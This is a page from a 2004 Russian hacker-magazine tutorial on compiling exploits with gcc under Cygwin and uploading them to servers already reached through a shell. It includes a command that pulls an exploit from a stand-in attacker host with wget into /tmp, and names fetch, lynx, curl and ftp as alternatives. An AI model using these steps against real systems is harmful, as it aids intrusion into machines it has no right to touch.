Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #66, ИЮНЬ 2004 г.

Эксплойтный ликбез

Олег Толстых aka NSD

Xakep, номер #066, стр. 066-070-6


cd /

tar xvjf /cygdrive/c/CW/release/gcc/gcc-3.3.1-3.tar.bz2

tar xvjf /cygdrive/c/CW/release/more/more-2.11o-1.tar.bz2

tar xvjf /cygdrive/c/CW/release/mc/mc-4.6.0-4.tar.bz2

… и т.д.

Теперь мы имеем работающий mc, more и gcc. С помощью последнего как раз и можно компилить сплойты. Попробуй откомпилировать какую-нибудь простенькую программку, которая выводит на экран фразу «hello, xakep». Пусть она будет называться hello.c. А теперь посмотри из-под винды, как выглядит откомпиленный результат. Смотри, что произошло – файл hello.c скомпилировался в hello.exe, и теперь его без проблем можно запускать на любой тачке с windows. Проверь, работает ли этот exe'шник. Если да, то можно приступить и к компиляции exploit’ов.

Как заливать эксплойт на сервер?

Для заливки сплойта (или любого другого файла) на *nix-сервер, к которому есть шелл-доступ, чаще всего используют утилиту wget. Синтаксис тулзы прост до безобразия: если в командной строке набрать wget http://hacker_server/exploit.c, с тачки hacker_server в текущую директорию сольется файл exploit.c. Обычно эксплойты заливают в каталог /tmp, так как любой юзер имеет право записи в эту папку. Если на сервере эта софтина отсутствует, можно заюзать альтернативные тулзы – fetch, lynx и curl. Если на удаленной тачке, к которой у тебя также есть шелл-акцес, стоит винда, и нужно залить туда файл, можно воспользоваться утилитой ftp. Для этого в командной строке набираешь: ftp адрес_твоего_хоста,_где_лежит_файл. После этого ты логинишься и набираешь команду get имя_нужного_файла. В результате в текущую папку по протоколу ftp сольется указанный тобой файл.

Назад на стр. 066-070-5  Содержание